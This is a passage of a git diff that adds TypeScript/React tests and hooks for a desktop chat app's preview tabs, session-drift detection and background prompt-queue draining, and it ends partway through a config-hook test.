+    await act(async () => {
+      handleEvent({
+        payload: { url: '/tmp/other.html' },
+        session_id: 'some-other-session',
+        type: 'preview.open'
+      } as unknown as RpcEvent)
+    })
+
+    expect($previewTabs.get()).toHaveLength(0)
+  })
+
+  // The turn that calls open_preview is often a TILE's session while focus
+  // sits on main (the user asked, then clicked elsewhere). On-screen is the
+  // bar — gating on focus made an explicit "open reddit" silently vanish.
+  it('honors an open from an open tile session even when main holds focus', async () => {
+    const { $sessionTiles } = await import('@/store/session-states')
+    const tiles = $sessionTiles.get()
+
+    $sessionTiles.set([{ dir: 'right', runtimeId: 'tile-runtime', storedSessionId: 'stored-tile' }])
+    render(<Harness />)
+
+    try {
+      await act(async () => {
+        handleEvent({
+          payload: { url: '/tmp/from-tile.html' },
+          session_id: 'tile-runtime',
+          type: 'preview.open'
+        } as unknown as RpcEvent)
+      })
+
+      await waitFor(() => expect($previewTarget.get()?.path).toBe('/tmp/from-tile.html'))
+    } finally {
+      $sessionTiles.set(tiles)
+    }
+  })
+
+  it('opens a second target as its own tab rather than replacing the first', async () => {
+    render(<Harness />)
+
+    await emitPreviewOpen('/tmp/one.html')
+    await waitFor(() => expect($previewTabs.get()).toHaveLength(1))
+
+    await emitPreviewOpen('/tmp/two.html')
+    await waitFor(() => expect($previewTabs.get()).toHaveLength(2))
+
+    expect($previewTarget.get()?.path).toBe('/tmp/two.html')
+  })
+
+  it('re-fronts the existing tab when the same target opens twice', async () => {
+    render(<Harness />)
+
+    await emitPreviewOpen('/tmp/one.html')
+    await emitPreviewOpen('/tmp/one.html')
+
+    await waitFor(() => expect($previewTabs.get()).toHaveLength(1))
+  })
+
+  it('renders a tool-opened html file rather than showing its source', async () => {
+    render(<Harness />)
+
+    await emitPreviewOpen()
+
+    await waitFor(() => expect($previewTarget.get()?.renderMode).toBe('preview'))
+  })
+
+  // Offer, don't hijack: only an explicit open_preview call opens the rail.
+  it('does not infer a preview from assistant prose', async () => {
+    render(<Harness />)
+
+    await act(async () => {
+      $messages.set([
+        assistantMessage('a1', 'Preview: http://localhost:5173/'),
+        assistantMessage('a2', 'Open /work/demo.html')
+      ])
+    })
+
+    expect($previewTabs.get()).toHaveLength(0)
+    expect(window.clawcodexDesktop.normalizePreviewTarget).not.toHaveBeenCalled()
+  })
+
+  it('does not open a preview off the back of a tool result', async () => {
+    render(<Harness />)
+
+    await act(async () => {
+      handleEvent({
+        payload: { inline_diff: 'a/preview-demo.html -> b/preview-demo.html\n' },
+        session_id: RUNTIME_SESSION_ID,
+        type: 'tool.complete'
+      } as unknown as RpcEvent)
+      handleEvent({
+        payload: { path: './dist/index.html' },
+        session_id: RUNTIME_SESSION_ID,
+        type: 'tool.complete'
+      } as unknown as RpcEvent)
+    })
+
+    expect($previewTabs.get()).toHaveLength(0)
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/session-context-drift.test.ts b/ui-desktop/src/app/session/hooks/session-context-drift.test.ts
new file mode 100644
index 000000000..009d719e5
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/session-context-drift.test.ts
@@ -0,0 +1,198 @@
+import { describe, expect, it } from 'vitest'
+
+import { NEW_CHAT_ROUTE, sessionRoute, SETTINGS_ROUTE } from '../../routes'
+
+import { routeTargetFromToken, sessionContextDrift } from './session-context-drift'
+
+const SESS_A = 'sess-a'
+const SESS_B = 'sess-b'
+
+// Build a route token the way desktop-controller does: pathname:search:hash.
+const routeToken = (pathname: string, search = '', hash = '') => `${pathname}:${search}:${hash}`
+
+describe('routeTargetFromToken', () => {
+  it('maps a session route to its session id, a non-chat route to null, and the new-chat route to __new__', () => {
+    expect(routeTargetFromToken(routeToken(sessionRoute(SESS_A)))).toBe(SESS_A)
+    expect(routeTargetFromToken(routeToken(SETTINGS_ROUTE))).toBeNull()
+    expect(routeTargetFromToken(routeToken(NEW_CHAT_ROUTE))).toBe('__new__')
+  })
+
+  it('ignores search and hash — only the pathname selects the chat', () => {
+    expect(routeTargetFromToken(routeToken(sessionRoute(SESS_A), '?panel=preview', '#reply'))).toBe(SESS_A)
+  })
+
+  it('treats a colon-free token as a bare pathname', () => {
+    expect(routeTargetFromToken(sessionRoute(SESS_A))).toBe(SESS_A)
+  })
+})
+
+describe('sessionContextDrift', () => {
+  it('does not drift on search/hash-only route churn', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(SESS_A)),
+      nowRouteToken: routeToken(sessionRoute(SESS_A), '?panel=preview', '#reply'),
+      startSelectedStoredId: SESS_A,
+      nowSelectedStoredId: SESS_A,
+      submitTargetStoredId: SESS_A
+    })
+
+    expect(reason).toBeNull()
+  })
+
+  it('does not drift on a selection null-reset (gateway/profile switch, reconnect)', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(SESS_A)),
+      nowRouteToken: routeToken(sessionRoute(SESS_A)),
+      startSelectedStoredId: SESS_A,
+      nowSelectedStoredId: null,
+      submitTargetStoredId: SESS_A
+    })
+
+    expect(reason).toBeNull()
+  })
+
+  it('drifts when selection moves to a different non-null stored session', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(SESS_A)),
+      nowRouteToken: routeToken(sessionRoute(SESS_A)),
+      startSelectedStoredId: SESS_A,
+      nowSelectedStoredId: SESS_B,
+      submitTargetStoredId: SESS_A
+    })
+
+    expect(reason).toBe('selection:sess-a->sess-b')
+  })
+
+  it('drifts when the routed session id changes to another session', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(SESS_A)),
+      nowRouteToken: routeToken(sessionRoute(SESS_B)),
+      startSelectedStoredId: SESS_A,
+      nowSelectedStoredId: SESS_A,
+      submitTargetStoredId: SESS_A
+    })
+
+    expect(reason).toBe('route:sess-a->sess-b')
+  })
+
+  it('drifts when the route moves to the new-chat route mid-submit', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(SESS_A)),
+      nowRouteToken: routeToken(NEW_CHAT_ROUTE),
+      startSelectedStoredId: SESS_A,
+      nowSelectedStoredId: SESS_A,
+      submitTargetStoredId: SESS_A
+    })
+
+    expect(reason).toBe('route:sess-a->__new__')
+  })
+
+  it('does not drift when the route moves to a non-chat route (null target)', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(SESS_A)),
+      nowRouteToken: routeToken(SETTINGS_ROUTE),
+      startSelectedStoredId: SESS_A,
+      nowSelectedStoredId: SESS_A,
+      submitTargetStoredId: SESS_A
+    })
+
+    expect(reason).toBeNull()
+  })
+
+  it('does not drift when route and selection re-home onto the submit target (the create pipeline re-home)', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(NEW_CHAT_ROUTE),
+      nowRouteToken: routeToken(sessionRoute(SESS_A)),
+      startSelectedStoredId: null,
+      nowSelectedStoredId: SESS_A,
+      submitTargetStoredId: SESS_A
+    })
+
+    expect(reason).toBeNull()
+  })
+
+  it('drifts when a new-chat draft with no target yet is switched to an existing chat', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(NEW_CHAT_ROUTE),
+      nowRouteToken: routeToken(sessionRoute(SESS_B)),
+      startSelectedStoredId: null,
+      nowSelectedStoredId: SESS_B,
+      submitTargetStoredId: null
+    })
+
+    expect(reason).toBe('route:__new__->sess-b')
+  })
+
+  it('does not drift when composerScope is omitted (non-composer submits: queue drain, steer)', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(SESS_A)),
+      nowRouteToken: routeToken(sessionRoute(SESS_A)),
+      startSelectedStoredId: SESS_A,
+      nowSelectedStoredId: SESS_A,
+      submitTargetStoredId: SESS_A
+    })
+
+    expect(reason).toBeNull()
+  })
+
+  it('does not drift when composerScope matches the resolved (lineage) submit target', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(SESS_A)),
+      nowRouteToken: routeToken(sessionRoute(SESS_A)),
+      startSelectedStoredId: SESS_A,
+      nowSelectedStoredId: SESS_A,
+      submitTargetStoredId: SESS_A,
+      composerScope: SESS_A,
+      submitTargetComposerScope: SESS_A
+    })
+
+    expect(reason).toBeNull()
+  })
+
+  it('drifts (composer prong) when the loaded composer scope disagrees with the resolved submit target (#59305)', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(SESS_A)),
+      nowRouteToken: routeToken(sessionRoute(SESS_A)),
+      startSelectedStoredId: SESS_A,
+      nowSelectedStoredId: SESS_A,
+      submitTargetStoredId: SESS_A,
+      composerScope: SESS_B,
+      submitTargetComposerScope: SESS_A
+    })
+
+    expect(reason).toBe('composer:sess-b->sess-a')
+  })
+
+  it('checks the composer prong before the route/selection prongs', () => {
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(SESS_A)),
+      nowRouteToken: routeToken(sessionRoute(SESS_B)),
+      startSelectedStoredId: SESS_A,
+      nowSelectedStoredId: SESS_B,
+      submitTargetStoredId: SESS_A,
+      composerScope: SESS_B,
+      submitTargetComposerScope: SESS_A
+    })
+
+    expect(reason).toBe('composer:sess-b->sess-a')
+  })
+
+  it('does not drift when the session has rotated via compression (composerScope is the lineage root, submitTargetStoredId is the live tip)', () => {
+    const ROOT_ID = 'stored-root'
+    const TIP_ID = 'stored-tip-after-compression'
+
+    const reason = sessionContextDrift({
+      startRouteToken: routeToken(sessionRoute(TIP_ID)),
+      nowRouteToken: routeToken(sessionRoute(TIP_ID)),
+      startSelectedStoredId: TIP_ID,
+      nowSelectedStoredId: TIP_ID,
+      submitTargetStoredId: TIP_ID,
+      composerScope: ROOT_ID,
+      // What submit.ts actually passes: resolveComposerSessionKey(TIP_ID, sessions),
+      // which resolves to the lineage root for a session that has compressed.
+      submitTargetComposerScope: ROOT_ID
+    })
+
+    expect(reason).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/session-context-drift.ts b/ui-desktop/src/app/session/hooks/session-context-drift.ts
new file mode 100644
index 000000000..7f264a581
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/session-context-drift.ts
@@ -0,0 +1,116 @@
+import { isNewChatRoute, routeSessionId } from '../../routes'
+
+/**
+ * The chat a route token points at: the stored/routed session id, `'__new__'`
+ * for the new-chat route, or null for a route that isn't a chat (settings and
+ * the other overlay routes). Used to compare two route tokens by their *chat*
+ * rather than their raw string.
+ */
+export type RouteTarget = string | null
+
+/**
+ * Reduce a route token to the chat it targets. The token is
+ * `${pathname}:${search}:${hash}` (desktop-controller's routeToken), and only
+ * the pathname selects the chat — search/hash carry overlay/panel state, so a
+ * change there must not read as a session switch. We take the substring before
+ * the first ':' as the pathname; that is safe because `location.pathname` never
+ * contains a raw ':' (sessionRoute encodeURIComponent's the id, so a ':' in an
+ * id arrives as %3A, and the app's other routes are literal colon-free paths).
+ */
+export function routeTargetFromToken(token: string): RouteTarget {
+  const separator = token.indexOf(':')
+  const pathname = separator === -1 ? token : token.slice(0, separator)
+
+  return routeSessionId(pathname) ?? (isNewChatRoute(pathname) ? '__new__' : null)
+}
+
+interface SessionContextDriftArgs {
+  startRouteToken: string
+  nowRouteToken: string
+  startSelectedStoredId: string | null
+  nowSelectedStoredId: string | null
+  /**
+   * The stored session this submit is bound to, when known. Drift ignores a
+   * move *to* this id: the submit pipeline itself re-homes selection and route
+   * onto its target (a fresh create, a resume), and that self-inflicted move is
+   * not a user switch. Omit it (pre-create new-chat draft) to treat any move to
+   * a real chat as drift.
+   */
+  submitTargetStoredId?: string | null
+  /**
+   * The composer scope that was actually loaded when the text was submitted
+   * (SubmitTextOptions.composerScope). The composer and the session-side refs
+   * live in separate React subtrees and can each be internally consistent yet
+   * still disagree with each other at the instant of send — this prong catches
+   * that cross-component drift (#59305). Omit for non-composer submits.
+   */
+  composerScope?: string | null
+  /**
+   * resolveComposerSessionKey(submitTargetStoredId, sessions) — the durable
+   * lineage-root form of the submit target, in the SAME domain as
+   * composerScope. Compared against composerScope instead of the raw
+   * submitTargetStoredId: the composer keys drafts/attachments on the lineage
+   * root (stable across auto-compression tip rotation) while
+   * submitTargetStoredId tracks the live tip — comparing composerScope
+   * directly against the tip would false-positive-abort every submit into any
+   * session that has ever compressed.
+   */
+  submitTargetComposerScope?: string | null
+}
+
+/**
+ * Decide whether the session context genuinely changed under an in-flight
+ * submit — the user (or a real navigation) moved to a DIFFERENT chat — as
+ * opposed to the programmatic churn a busy gateway produces constantly:
+ *   - selection null-resets on a gateway/profile switch or reconnect
+ *     (gateway-switch's `setSelectedStoredSessionId(null)`),
+ *   - search/hash-only route changes from overlays and side panels,
+ *   - background gateway events retargeting the active runtime id (#47709 class,
+ *     which is why the active ref is not a prong here at all).
+ * Returns null when nothing genuinely drifted, or a short reason string
+ * (`route:<from>-><to>` / `selection:<from>-><to>`) for the abort log.
+ */
+export function sessionContextDrift({
+  startRouteToken,
+  nowRouteToken,
+  startSelectedStoredId,
+  nowSelectedStoredId,
+  submitTargetStoredId,
+  composerScope,
+  submitTargetComposerScope
+}: SessionContextDriftArgs): string | null {
+  // Composer prong: the composer's loaded scope disagrees with the resolved
+  // submit target. Not a start/now comparison like the two prongs below — the
+  // composer only hands us one snapshot per submit — but it belongs in the
+  // same fail-closed gate since it's exactly the same "wrong session" failure
+  // mode. Compared against submitTargetComposerScope (lineage-pinned), NOT
+  // submitTargetStoredId (live tip) — see the field doc on
+  // SessionContextDriftArgs for why those two must not be conflated.
+  if (composerScope !== undefined && composerScope !== null && composerScope !== submitTargetComposerScope) {
+    return `composer:${composerScope}->${submitTargetComposerScope}`
+  }
+
+  const targetStart = routeTargetFromToken(startRouteToken)
+  const targetNow = routeTargetFromToken(nowRouteToken)
+
+  // Route prong: the routed chat moved to a different, real chat. A null target
+  // (navigated to settings / a non-chat overlay route) or a search/hash-only
+  // change (same target) is not drift, and neither is landing on the submit's
+  // own target.
+  if (targetNow !== targetStart && targetNow !== null && targetNow !== submitTargetStoredId) {
+    return `route:${targetStart}->${targetNow}`
+  }
+
+  // Selection prong: selection moved to a different, real stored session. A
+  // null-reset (nowSelectedStoredId === null) or a move onto the submit's own
+  // target is not drift.
+  if (
+    nowSelectedStoredId !== null &&
+    nowSelectedStoredId !== startSelectedStoredId &&
+    nowSelectedStoredId !== submitTargetStoredId
+  ) {
+    return `selection:${startSelectedStoredId}->${nowSelectedStoredId}`
+  }
+
+  return null
+}
diff --git a/ui-desktop/src/app/session/hooks/use-background-queue-drain.test.tsx b/ui-desktop/src/app/session/hooks/use-background-queue-drain.test.tsx
new file mode 100644
index 000000000..0cfb3b088
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-background-queue-drain.test.tsx
@@ -0,0 +1,225 @@
+import { act, cleanup, render, waitFor } from '@testing-library/react'
+import type { MutableRefObject } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { createClientSessionState } from '@/lib/chat-runtime'
+import {
+  $parkedQueueSessions,
+  $queuedPromptsBySession,
+  enqueueQueuedPrompt,
+  getQueuedPrompts,
+  parkQueuedPrompts
+} from '@/store/composer-queue'
+import { $sessions, setSessions } from '@/store/session'
+import { clearAllSessionStates, publishSessionState } from '@/store/session-states'
+import type { SessionInfo } from '@/types/clawcodex'
+
+import { useBackgroundQueueDrain } from './use-background-queue-drain'
+import type { SubmitTextOptions } from './use-prompt-actions/utils'
+
+const lineageSession = (over: Partial<SessionInfo>): SessionInfo =>
+  ({
+    archived: false,
+    cwd: null,
+    ended_at: null,
+    id: 'live',
+    input_tokens: 0,
+    is_active: false,
+    last_active: 0,
+    message_count: 0,
+    model: null,
+    output_tokens: 0,
+    preview: null,
+    source: null,
+    started_at: 0,
+    title: null,
+    tool_call_count: 0,
+    ...over
+  }) as SessionInfo
+
+function Harness({
+  enabled = true,
+  runtimeMap,
+  selectedStoredSessionId = 'stored-session-b',
+  submitText
+}: {
+  enabled?: boolean
+  runtimeMap: MutableRefObject<Map<string, string>>
+  selectedStoredSessionId?: string | null
+  submitText: (text: string, options?: SubmitTextOptions) => Promise<boolean> | boolean
+}) {
+  useBackgroundQueueDrain({
+    enabled,
+    runtimeIdByStoredSessionIdRef: runtimeMap,
+    selectedStoredSessionId,
+    submitText
+  })
+
+  return null
+}
+
+describe('useBackgroundQueueDrain', () => {
+  beforeEach(() => {
+    vi.useRealTimers()
+    clearAllSessionStates()
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+    vi.useRealTimers()
+    $queuedPromptsBySession.set({})
+    $parkedQueueSessions.set({})
+    $sessions.set([])
+    clearAllSessionStates()
+  })
+
+  it('drains an idle queued prompt for a non-selected background session', async () => {
+    const runtimeMap = { current: new Map([['stored-session-a', 'rt-session-a']]) }
+    const submitText = vi.fn(async () => true)
+
+    enqueueQueuedPrompt('stored-session-a', { text: 'continue in the background', attachments: [] })
+    clearAllSessionStates()
+
+    render(<Harness runtimeMap={runtimeMap} submitText={submitText} />)
+
+    await waitFor(() => {
+      expect(submitText).toHaveBeenCalledWith('continue in the background', {
+        attachments: [],
+        fromQueue: true,
+        sessionId: 'rt-session-a',
+        storedSessionId: 'stored-session-a'
+      })
+    })
+
+    await waitFor(() => expect(getQueuedPrompts('stored-session-a')).toHaveLength(0))
+  })
+
+  it('leaves the selected session queue to the mounted ChatBar drainer', async () => {
+    const runtimeMap = { current: new Map([['stored-session-a', 'rt-session-a']]) }
+    const submitText = vi.fn(async () => true)
+
+    enqueueQueuedPrompt('stored-session-a', { text: 'visible queue entry', attachments: [] })
+    clearAllSessionStates()
+
+    render(<Harness runtimeMap={runtimeMap} selectedStoredSessionId="stored-session-a" submitText={submitText} />)
+
+    await new Promise(resolve => window.setTimeout(resolve, 0))
+
+    expect(submitText).not.toHaveBeenCalled()
+    expect(getQueuedPrompts('stored-session-a')).toHaveLength(1)
+  })
+
+  it('does not drain a background session that is still marked working', async () => {
+    const runtimeMap = { current: new Map([['stored-session-a', 'rt-session-a']]) }
+    const submitText = vi.fn(async () => true)
+
+    enqueueQueuedPrompt('stored-session-a', { text: 'wait for current turn', attachments: [] })
+    // Mark the session as working (busy) so the drain should skip it
+    publishSessionState('rt-session-a', { ...createClientSessionState('stored-session-a'), busy: true })
+
+    render(<Harness runtimeMap={runtimeMap} submitText={submitText} />)
+
+    await new Promise(resolve => window.setTimeout(resolve, 0))
+
+    expect(submitText).not.toHaveBeenCalled()
+    expect(getQueuedPrompts('stored-session-a')).toHaveLength(1)
+  })
+
+  it('treats a tip working id as busy for a root queue key via lineage', async () => {
+    // Queue keys use the lineage root (resolveComposerSessionKey) while
+    // $workingSessionIds may hold the compression tip — strict equality misses.
+    const runtimeMap = { current: new Map([['root-a', 'rt-tip-a']]) }
+    const submitText = vi.fn(async () => true)
+
+    setSessions([lineageSession({ id: 'tip-a', _lineage_root_id: 'root-a' })])
+    enqueueQueuedPrompt('root-a', { text: 'wait for tip turn', attachments: [] })
+    publishSessionState('rt-tip-a', { ...createClientSessionState('tip-a'), busy: true })
+
+    render(<Harness runtimeMap={runtimeMap} submitText={submitText} />)
+
+    await new Promise(resolve => window.setTimeout(resolve, 0))
+
+    expect(submitText).not.toHaveBeenCalled()
+    expect(getQueuedPrompts('root-a')).toHaveLength(1)
+  })
+
+  it('leaves a root queue to ChatBar when the selected id is the compression tip', async () => {
+    const runtimeMap = { current: new Map([['root-a', 'rt-tip-a']]) }
+    const submitText = vi.fn(async () => true)
+
+    setSessions([lineageSession({ id: 'tip-a', _lineage_root_id: 'root-a' })])
+    enqueueQueuedPrompt('root-a', { text: 'visible after tip select', attachments: [] })
+    clearAllSessionStates()
+
+    render(<Harness runtimeMap={runtimeMap} selectedStoredSessionId="tip-a" submitText={submitText} />)
+
+    await new Promise(resolve => window.setTimeout(resolve, 0))
+
+    expect(submitText).not.toHaveBeenCalled()
+    expect(getQueuedPrompts('root-a')).toHaveLength(1)
+  })
+
+  it('does not drain a parked background session, even when idle', async () => {
+    // A Stop in a tile parks that session's queue; when the user then focuses
+    // another chat, THIS drainer takes over the tile's queue — it must honor
+    // the park just like the mounted ChatBar drainer does.
+    const runtimeMap = { current: new Map([['stored-session-a', 'rt-session-a']]) }
+    const submitText = vi.fn(async () => true)
+
+    enqueueQueuedPrompt('stored-session-a', { text: 'halted by stop', attachments: [] })
+    parkQueuedPrompts('stored-session-a')
+    clearAllSessionStates()
+
+    render(<Harness runtimeMap={runtimeMap} submitText={submitText} />)
+
+    await new Promise(resolve => window.setTimeout(resolve, 0))
+
+    expect(submitText).not.toHaveBeenCalled()
+    expect(getQueuedPrompts('stored-session-a')).toHaveLength(1)
+  })
+
+  it('passes a null runtime id so submitText can resume stale background sessions by stored id', async () => {
+    const runtimeMap = { current: new Map<string, string>() }
+    const submitText = vi.fn(async () => true)
+
+    enqueueQueuedPrompt('stored-session-a', { text: 'resume then send', attachments: [] })
+
+    render(<Harness runtimeMap={runtimeMap} submitText={submitText} />)
+
+    await waitFor(() => {
+      expect(submitText).toHaveBeenCalledWith('resume then send', {
+        attachments: [],
+        fromQueue: true,
+        sessionId: null,
+        storedSessionId: 'stored-session-a'
+      })
+    })
+  })
+
+  it('retries a rejected background drain without waiting for another queue or busy-state change', async () => {
+    vi.useFakeTimers()
+
+    const runtimeMap = { current: new Map([['stored-session-a', 'rt-session-a']]) }
+    const submitText = vi.fn().mockResolvedValueOnce(false).mockResolvedValueOnce(true)
+
+    enqueueQueuedPrompt('stored-session-a', { text: 'retry me', attachments: [] })
+
+    render(<Harness runtimeMap={runtimeMap} submitText={submitText} />)
+
+    await act(async () => {
+      await Promise.resolve()
+    })
+
+    expect(submitText).toHaveBeenCalledTimes(1)
+    expect(getQueuedPrompts('stored-session-a')).toHaveLength(1)
+
+    await act(async () => {
+      await vi.advanceTimersByTimeAsync(750)
+      await Promise.resolve()
+    })
+
+    expect(submitText).toHaveBeenCalledTimes(2)
+    expect(getQueuedPrompts('stored-session-a')).toHaveLength(0)
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-background-queue-drain.ts b/ui-desktop/src/app/session/hooks/use-background-queue-drain.ts
new file mode 100644
index 000000000..8573ab9c8
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-background-queue-drain.ts
@@ -0,0 +1,199 @@
+import { useStore } from '@nanostores/react'
+import { type MutableRefObject, useCallback, useEffect, useRef, useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import { resetBrowseState } from '@/store/composer-input-history'
+import {
+  $parkedQueueSessions,
+  $queuedPromptsBySession,
+  getQueuedPrompts,
+  MAX_AUTO_DRAIN_ATTEMPTS,
+  type QueuedPromptEntry,
+  removeQueuedPrompt,
+  shouldAutoDrain
+} from '@/store/composer-queue'
+import { notify } from '@/store/notifications'
+import { $sessions, idsShareLineage } from '@/store/session'
+import { $workingSessionIds } from '@/store/session-states'
+
+import type { SubmitTextOptions } from './use-prompt-actions/utils'
+
+type SubmitQueuedPrompt = (text: string, options?: SubmitTextOptions) => Promise<boolean> | boolean
+
+interface BackgroundQueueDrainOptions {
+  enabled: boolean
+  runtimeIdByStoredSessionIdRef: MutableRefObject<Map<string, string>>
+  selectedStoredSessionId: string | null
+  submitText: SubmitQueuedPrompt
+}
+
+const BACKGROUND_DRAIN_RETRY_MS = 750
+
+/**
+ * Drain queued prompts for sessions that are not currently rendered by ChatBar.
+ *
+ * The visible ChatBar owns the interactive queue panel for the selected session.
+ * Without this background drain, a prompt queued in Session A can sit forever
+ * after the user switches to Session B: the only auto-drain effect lives inside
+ * the mounted ChatBar, so Session A's queue is not observed when A is offscreen.
+ */
+export function useBackgroundQueueDrain({
+  enabled,
+  runtimeIdByStoredSessionIdRef,
+  selectedStoredSessionId,
+  submitText
+}: BackgroundQueueDrainOptions) {
+  const { t } = useI18n()
+  const queuedPromptsBySession = useStore($queuedPromptsBySession)
+  const parkedQueueSessions = useStore($parkedQueueSessions)
+  const workingSessionIds = useStore($workingSessionIds)
+  const submitTextRef = useRef(submitText)
+  const drainingSessionIdsRef = useRef(new Set<string>())
+  const drainFailuresRef = useRef(new Map<string, number>())
+  const retryTimersRef = useRef<number[]>([])
+  const [retryTick, setRetryTick] = useState(0)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    submitTextRef.current = submitText
+  }, [submitText])
+
+  const scheduleRetry = useCallback(() => {
+    if (typeof window === 'undefined') {
+      return
+    }
+
+    const timer = window.setTimeout(() => {
+      retryTimersRef.current = retryTimersRef.current.filter(id => id !== timer)
+      setRetryTick(tick => tick + 1)
+    }, BACKGROUND_DRAIN_RETRY_MS)
+
+    retryTimersRef.current.push(timer)
+  }, [])
+
+  useEffect(
+    () => () => {
+      for (const timer of retryTimersRef.current) {
+        window.clearTimeout(timer)
+      }
+
+      retryTimersRef.current = []
+    },
+    []
+  )
+
+  const drainSessionQueue = useCallback(
+    (sessionKey: string, entry: QueuedPromptEntry) => {
+      if (drainingSessionIdsRef.current.has(sessionKey)) {
+        return
+      }
+
+      drainingSessionIdsRef.current.add(sessionKey)
+
+      const onFail = () => {
+        const failures = (drainFailuresRef.current.get(entry.id) ?? 0) + 1
+        drainFailuresRef.current.set(entry.id, failures)
+
+        if (failures >= MAX_AUTO_DRAIN_ATTEMPTS) {
+          notify({
+            id: `composer-background-queue-stuck-${sessionKey}`,
+            kind: 'error',
+            title: t.composer.queueStuckTitle,
+            message: t.composer.queueStuckBody
+          })
+
+          return
+        }
+
+        scheduleRetry()
+      }
+
+      void Promise.resolve()
+        .then(async () => {
+          const liveEntry = getQueuedPrompts(sessionKey).find(candidate => candidate.id === entry.id)
+
+          if (!liveEntry) {
+            return true
+          }
+
+          const runtimeSessionId = runtimeIdByStoredSessionIdRef.current.get(sessionKey) ?? null
+
+          const accepted = await Promise.resolve(
+            submitTextRef.current(liveEntry.text, {
+              attachments: liveEntry.attachments,
+              fromQueue: true,
+              sessionId: runtimeSessionId,
+              storedSessionId: sessionKey
+            })
+          )
+
+          if (accepted === false) {
+            return false
+          }
+
+          drainFailuresRef.current.delete(liveEntry.id)
+          removeQueuedPrompt(sessionKey, liveEntry.id)
+          resetBrowseState(runtimeSessionId)
+
+          return true
+        })
+        .then(accepted => {
+          if (!accepted) {
+            onFail()
+          }
+        })
+        .catch(onFail)
+        .finally(() => {
+          drainingSessionIdsRef.current.delete(sessionKey)
+        })
+    },
+    [runtimeIdByStoredSessionIdRef, scheduleRetry, t]
+  )
+
+  useEffect(() => {
+    if (!enabled) {
+      return
+    }
+
+    // Queue keys prefer the lineage root (resolveComposerSessionKey) while
+    // $workingSessionIds / selection may hold the compression tip. Strict
+    // equality then mis-classifies a busy or selected chat as idle/offscreen.
+    const sessions = $sessions.get()
+    const working = [...workingSessionIds]
+
+    for (const [sessionKey, entries] of Object.entries(queuedPromptsBySession)) {
+      const isSelected =
+        Boolean(selectedStoredSessionId) && idsShareLineage(sessionKey, selectedStoredSessionId!, sessions)
+
+      const isBusy = working.some(workingId => idsShareLineage(sessionKey, workingId, sessions))
+
+      if (
+        isSelected ||
+        drainingSessionIdsRef.current.has(sessionKey) ||
+        !shouldAutoDrain({
+          isBusy,
+          parked: Boolean(parkedQueueSessions[sessionKey]),
+          queueLength: entries.length
+        })
+      ) {
+        continue
+      }
+
+      const entry = entries[0]
+
+      if (!entry || (drainFailuresRef.current.get(entry.id) ?? 0) >= MAX_AUTO_DRAIN_ATTEMPTS) {
+        continue
+      }
+
+      drainSessionQueue(sessionKey, entry)
+    }
+  }, [
+    drainSessionQueue,
+    enabled,
+    parkedQueueSessions,
+    queuedPromptsBySession,
+    retryTick,
+    selectedStoredSessionId,
+    workingSessionIds
+  ])
+}
diff --git a/ui-desktop/src/app/session/hooks/use-clawcodex-config.test.ts b/ui-desktop/src/app/session/hooks/use-clawcodex-config.test.ts
new file mode 100644
index 000000000..263b2a678
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-clawcodex-config.test.ts
@@ -0,0 +1,193 @@
+// @vitest-environment jsdom
+import { act, renderHook } from '@testing-library/react'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $terminalFontFamily, setTerminalFontFamilyFromConfig } from '@/app/right-sidebar/terminal/terminal-font'
+import { getClawCodexConfig } from '@/clawcodex'
+import { persistString } from '@/lib/storage'
+import {
+  $currentCwd,
+  $currentFastMode,
+  $currentReasoningEffort,
+  $defaultReasoningEffort,
+  markComposerSelectionManual,
+  setCurrentCwd,
+  setCurrentFastMode,
+  setCurrentModelSource,
+  setCurrentReasoningEffort,
+  setDefaultReasoningEffort
+} from '@/store/session'
+
+import { useClawCodexConfig } from './use-clawcodex-config'
+
+vi.mock('@/clawcodex', () => ({
+  getClawCodexConfig: vi.fn(),
+  getClawCodexConfigDefaults: vi.fn().mockResolvedValue({})
+}))
+
+const WORKSPACE_CWD_KEY = 'clawcodex.desktop.workspace-cwd'
+
+function deferred<T>() {
+  let resolve!: (value: T | PromiseLike<T>) => void
+
+  const promise = new Promise<T>(done => {
+    resolve = done
+  })
+
+  return { promise, resolve }
+}
+
+const mockConfig = (config: Record<string, unknown>) =>
+  vi.mocked(getClawCodexConfig).mockResolvedValue(config as Awaited<ReturnType<typeof getClawCodexConfig>>)
+
+describe('useClawCodexConfig refreshClawCodexConfig', () => {
+  beforeEach(() => {
+    // Reset atoms and localStorage between tests
+    setCurrentCwd('')
+    setCurrentFastMode(false)
+    setCurrentModelSource('')
+    setCurrentReasoningEffort('')
+    setDefaultReasoningEffort('')
+    setTerminalFontFamilyFromConfig('')
+    persistString(WORKSPACE_CWD_KEY, null)
+  })
+
+  // Regression: the composer keeps a manual model pick sticky, which skips the
+  // composer reseed. The profile default must still be published, because the
+  // model picker resolves "the default effort" from it when applying a model's
